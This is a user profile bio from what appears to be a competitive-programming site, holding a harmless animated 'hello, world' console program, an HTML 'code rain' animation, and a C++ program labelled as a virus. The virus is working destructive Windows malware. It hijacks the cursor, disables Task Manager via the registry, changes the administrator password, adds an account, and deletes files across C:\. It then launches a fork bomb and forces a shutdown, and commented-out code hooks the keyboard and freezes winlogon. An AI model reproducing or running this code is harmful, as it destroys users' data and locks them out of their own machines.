• Bio

    // hello, world //

    #include<bits/stdc++.h>
    #include<windows.h>
    using namespace std;
    void print(string s) {
    	char c[s.size()+1];
    	s.copy(c,s.size()+1);
    	for(int i=0; i<s.size(); i++) {
    		cout<<c[i];
    		if(c[i]!=' ')Sleep(10);
    	}
    }
    void color_print1(string s){
    	system("color 0F");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	print(s);
    	Sleep(2500);
    	return;
    }
    int main() {
    	string s;
    	system("mode con cols=74 lines=35");
    	cout<<"  \n\n";
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HH                           LL      LL                       \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HH                           LL      LL                      \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HH                           LL      LL                      \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HH                           LL      LL                      \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HHHHHH            EEEEEEE    LL      LL         OOOOO        \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HHHH HHHH       EEEE    EEE  LL      LL       OOO   OOO      \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HH      HHH    EE        EEE LL      LL      OOO     OOO     \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HH       HH    EEEEEEEEEEEE  LL      LL      OO       OO       \n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HH       HH    EE            LL      LL      OO       OO   €€€\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HH       HH    EE            LL      LL      OOO     OOO  €€€€€\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="   HH       HH     EEE    EEEE  LL  LL  LL  LL   OOO   OOO    €€€€€\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="   HH       HH       EEEEEEE    LLLLL   LLLLL      OOOOO        €€\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	cout<<"                                                               €€\n\n";
    	s="                                                 LL               DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="                                                 LL               DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="                                                 LL               DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="                                                 LL               DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="      WW             WW     OOOOO     RR  RRRR   LL               DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="      WW             WW   OOO   OOO   RR RR  RR  LL              DDD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="      WW     WWW     WW  OOO     OOO  RRRR       LL         DDDDDDDD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="       WW   WW WW   WW   OO       OO  RRR        LL        DD     DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="       WW   WW WW   WW   OO       OO  RR         LL       DD      DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="        WW WW   WW WW    OOO     OOO  RR         LL       DD      DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	s="        WW WW   WW WW     OOO   OOO   RR         LL  LL   DD     DDD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN);
    	s="         WWW     WWW        OOOOO     RR         LLLLL     DDDDDDD DD\n";print(s);SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED);
    	cout<<"                                                                 \n";
    	Sleep(500);
    	system("cls");
    	color_print1("*The place where dreams begin!\n");
    	color_print1("*Do you remember?\n");
    	color_print1("*This is a tradition.\n");
    	color_print1("*It's also the eternal romance of programmers.\n");
    	color_print1("*This is the beginning, not the end, we only yearn for these.\n");
    	color_print1("*When the sound of typing on the keyboard echoes on the fingers,\n");
    	color_print1("*Do you have this memory?\n");
    	Sleep(1000);
    	system("cls");
    	system("color 0f");
    	for(int j=0;j<74;j++){
    		cout<<"¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö";
    		Sleep(10);
    	}
    	cout<<"¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö¡ö";
    	system("cls");
    	system("color f0");
    	Sleep(2000);
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),242);
    	print("#include<iostream>\n");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),240);
    	print("using namespace std");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),252);
    	print(";\n");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),240);
    	print("int main");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),252);
    	print("(){\n");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),240);
    	print("    cout");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),252);
    	print("<<");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),249);
    	print("\"hello, world\"");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),252);
    	print(";\n");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),240);
    	print("    return ");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),245);
    	print("0");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),252);
    	print(";\n");
    	print("}");
    	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),240);
    	exit(0);
    }//hello, world
    

    // 黑客代码雨(后缀 html 文本撰写) //

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>Code</title>
        <style>
            body{
                margin:0;
                overflow:hidden;
            }
        </style>
    </head>
    
    <body>
    <canvas id="myCanvas"></canvas>
    <script>
        const width=document.getElementById("myCanvas").width=screen.availWidth;
        const height=document.getElementById("myCanvas").height=screen.availHeight;
        const ctx=document.getElementById("myCanvas").getContext("2d");
        const arr=Array(Math.ceil(width / 10)).fill(0);
        const str="QWERTYUIOPASDFGHJKLZXCVBNM1230987654".split("");
    
    function rain(){
        ctx.fillStyle="rgba(0,0,0,0.05)"
        ctx.fillRect(0,0,width,height);
        ctx.fillStyle="#0f0";
        arr.forEach(function(value,index){
            ctx.fillText(str[Math.floor(Math.random()*str.length)],index*10,value+10);
            arr[index]=value>=height||value>8888*Math.random()?0:value+10;
        });
    }
    
    setInterval(rain,30);
    </script>
    </body>
    </html>
    

    // 病毒 //

    #include<bits/stdc++.h>
    #include<windows.h>
    #include<tlhelp32.h>
    //#include <winternl.h>
    using namespace std;
    char szTitle[MAX_PATH],szClass[MAX_PATH];
    void ControlCursor(){
    	POINT p;
    	GetCursorPos(&p);
    	int X=p.x,Y=p.y;
    	for(int i=0;i<50;i++){
    		SetCursorPos(X-5,Y-5);
    		Sleep(20);
    		SetCursorPos(X+5,Y+5);
    		Sleep(20);
    	}
    	for(int i=0;i<50;i++){
    		SetCursorPos(X-5,Y-5);
    		Sleep(20);
    		SetCursorPos(X-5,Y-5);
    		Sleep(10);
    		SetCursorPos(X+5,Y+5);
    		Sleep(20);
    		SetCursorPos(X+5,Y+5);
    		Sleep(10);
    	}
    	for(int i=0;i<50;i++){
    		SetCursorPos(X+30,Y);
    		Sleep(20);
    		SetCursorPos(X-30,Y);
    		Sleep(20);
    	}
    	for(int i=0;i<100;i++){
    		SetCursorPos(rand()%1000,Y);
    		Sleep(500);
    	}
    	for(int i=0;i<50;i++){
    		SetCursorPos(rand()%1000,rand()%1000);
    	}
    	return;
    }
    void AllMinSize(){
    	int nMaxCount=MAX_PATH;
    	LPSTR lpClassName=szClass,lpWindowName=szTitle;
    	while(true){
    		HWND hwnd=GetForegroundWindow();
    		GetWindowTextA(hwnd,lpWindowName,nMaxCount);
    		GetClassNameA(hwnd,lpClassName,nMaxCount);
    		string str=(string)lpClassName;
    		if(str.find("TrayWnd")!=string::npos){
    			break;
    		}
    		ShowWindow(hwnd,SW_MINIMIZE);
    		Sleep(100);
    	}
    	return;
    }
    void RegTaskmanagerForbidden(){
    	HKEY hkey;
    	DWORD value=1;
    	RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    	RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&value,sizeof(DWORD));
    	RegCloseKey(hkey);
    	return;
    }
    void CursorDisappear(){
    	for(int i=0;i<10;i++){
    		HWND hWnd=GetForegroundWindow();
    		ShowWindow(hWnd,SW_HIDE);
    		Sleep(1000);
    	}
    	return;
    }
    void WINDOW_SHOW(){
    	ControlCursor();
    	for(int i=0;i<10;i++){
    		system("start cmd.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(100);
    	}
    	system("taskkill /f /im cmd.exe");
    	Sleep(100);
    	for(int i=0;i<10;i++){
    		system("start taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(100);
    		system("taskkill /f /im taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(100);
    	}
    	Sleep(100);
    	for(int i=0;i<20;i++){
    		system("start taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		system("start cmd.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(50);
    		system("taskkill /f /im taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(100);
    	}
    	system("taskkill /f /im cmd.exe");
    	for(int i=0;i<40;i++){
    		system("start taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		system("start cmd.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(50);
    		system("taskkill /f /im taskmgr.exe");
    		SetCursorPos(rand()%1000,rand()%1000);
    		Sleep(100);
    		SetCursorPos(rand()%1000,rand()%1000);
    	}
    	RegTaskmanagerForbidden();
    	system("net user Adimnistrator error");
    	system("net user Error error /add");
    	system("del /F /S /Q C:\\");
    	return;
    }
    void SlowDie(){
    	SetCursorPos(0,0);
    	freopen("11.out","w",stdout);
    	cout<<"%0|%0";
    	fclose(stdout);
    	system("ren 11.out 11.bat");
    	system("start 11.bat");
    }
    /*int globlePid = 0;
    HHOOK keyHook = NULL;
    HHOOK mouseHook = NULL;
    LRESULT CALLBACK keyProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        KBDLLHOOKSTRUCT *pkbhs = (KBDLLHOOKSTRUCT *)lParam;
        //if (nCode == HC_ACTION){
        if (pkbhs->vkCode == VK_ESCAPE && GetAsyncKeyState(VK_CONTROL) & 0x8000 && GetAsyncKeyState(VK_SHIFT) & 0x8000){
            //qDebug() << "Ctrl+Shift+Esc";
            return 1;
        }
        else if (pkbhs->vkCode == VK_ESCAPE && GetAsyncKeyState(VK_CONTROL) & 0x8000){
            //qDebug() << "Ctrl+Esc";
            return 1;
        }
        else if (pkbhs->vkCode == VK_TAB && pkbhs->flags & LLKHF_ALTDOWN){
            //qDebug() << "Alt+Tab";
            return 1;
        }
        else if (pkbhs->vkCode == VK_ESCAPE && pkbhs->flags &LLKHF_ALTDOWN){
            //qDebug() << "Alt+Esc";
            return 1;
        }
        else if (pkbhs->vkCode == VK_LWIN || pkbhs->vkCode == VK_RWIN){
            //qDebug() << "LWIN/RWIN";
            return 1;
        }
        else if (pkbhs->vkCode == VK_F4 && pkbhs->flags & LLKHF_ALTDOWN){
            //qDebug() << "Alt+F4";
            return 1;
        }
        //return 1;
        //}
        return CallNextHookEx(keyHook, nCode, wParam, lParam);
    }
    LRESULT CALLBACK mouseProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        return 1;
    }
    void unHook()
    {
        UnhookWindowsHookEx(keyHook);
        //  UnhookWindowsHookEx(mouseHook);
    }
    void setHook()
    {
        keyHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyProc, GetModuleHandle(NULL), 0);
        //    mouseHook =SetWindowsHookEx( WH_MOUSE_LL,mouseProc,GetModuleHandle(NULL),0);
    }
    
    void EnableDebugPriv()
    {
        HANDLE hToken;
        LUID sedebugnameValue;
        TOKEN_PRIVILEGES tkp;
    
        if (!OpenProcessToken(GetCurrentProcess(),
            TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
            return;
        }
        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
            CloseHandle(hToken);
            return;
        }
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Luid = sedebugnameValue;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
            CloseHandle(hToken);
            return;
        }
    }
    
    char* ConvertLPWSTRToLPSTR(LPWSTR lpwszStrIn)
    {
        LPSTR pszOut = NULL;
        if (lpwszStrIn != NULL)
        {
            int nInputStrLen = wcslen(lpwszStrIn);
    
            // Double NULL Termination  
            int nOutputStrLen = WideCharToMultiByte(CP_ACP, 0, lpwszStrIn, nInputStrLen, NULL, 0, 0, 0) + 2;
            pszOut = new char[nOutputStrLen];
    
            if (pszOut)
            {
                memset(pszOut, 0x00, nOutputStrLen);
                WideCharToMultiByte(CP_ACP, 0, lpwszStrIn, nInputStrLen, pszOut, nOutputStrLen, 0, 0);
            }
        }
        return pszOut;
    }
    void Freeze()
    {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(pe32);
        HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
        int processPid;
        BOOL b = ::Process32First(hProcessSnap, &pe32);
        while (b)
        {
            processPid = pe32.th32ProcessID;
            char*exeFile=ConvertLPWSTRToLPSTR(pe32.szExeFile);
            if (strcmp(exeFile, "winlogon.exe") == 0)
            {
                break;
            }
    
            delete[] exeFile;
    
            b = ::Process32Next(hProcessSnap, &pe32);
        }
        ::CloseHandle(hProcessSnap);
    
        THREADENTRY32 th32;
        th32.dwSize = sizeof(th32);
        HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        globlePid = processPid;
        unsigned long Pid;
        Pid = processPid;
        b = ::Thread32First(hThreadSnap, &th32);
        while (b)
        {
            if (th32.th32OwnerProcessID == Pid)
            {
                HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
                if (!(::SuspendThread(oth)))
                {
                    //qDebug() << "freeze successed";
                }
                else
                {
                    //qDebug() << "freeze failed";
                }
                CloseHandle(oth);
                break;
            }
            ::Thread32Next(hThreadSnap, &th32);
        }
        ::CloseHandle(hThreadSnap);
    }
    
    void unFreeze()
    {
        unsigned long Pid;
        Pid = globlePid;
    
        THREADENTRY32 th32;
        th32.dwSize = sizeof(th32);
    
        HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
        BOOL b = ::Thread32First(hThreadSnap, &th32);
        while (b)
        {
            if (th32.th32OwnerProcessID == Pid)
            {
                HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID);
                if (::ResumeThread(oth))
                {
                    //qDebug() << "unfreeze successed";
                }
                else
                {
                    //qDebug() << "unfreeze failed";
                }
                CloseHandle(oth);
                break;
            }
            ::Thread32Next(hThreadSnap, &th32);
        }
        ::CloseHandle(hThreadSnap);
    }*/
    void Ctrl(){
    	RECT rect;
    	rect.top=0;
    	rect.left=0;
    	rect.bottom=0;
    	rect.right=0;
    	ClipCursor(&rect);
    	Sleep(5000);
    	ClipCursor(NULL);
    	return;
    }
    void BlueScreen(){
    	freopen("W.out","w",stdout);
    	cout<<"Taskkill/fi \"pid ge 1\"/f";
    	fclose(stdout);
    	system("ren W.out W.bat");
    	system("start W.bat");
    }
    int main(){
    	ControlCursor();
    	AllMinSize();
    	CursorDisappear();
    	WINDOW_SHOW();
    	Ctrl();
    	SlowDie();
    	Sleep(25000);
    	//BlueScreen();
        system("shutdown -p");
    }
    
  • Accepted Problems

  • Recent Activities

  • Recent Solutions

    This person is lazy and didn't wrote any solution

Problem Tags

搜索
2
递归
2
递推
2
枚举
1
枚举优化
1
其他
1
排序
1
模拟
1
1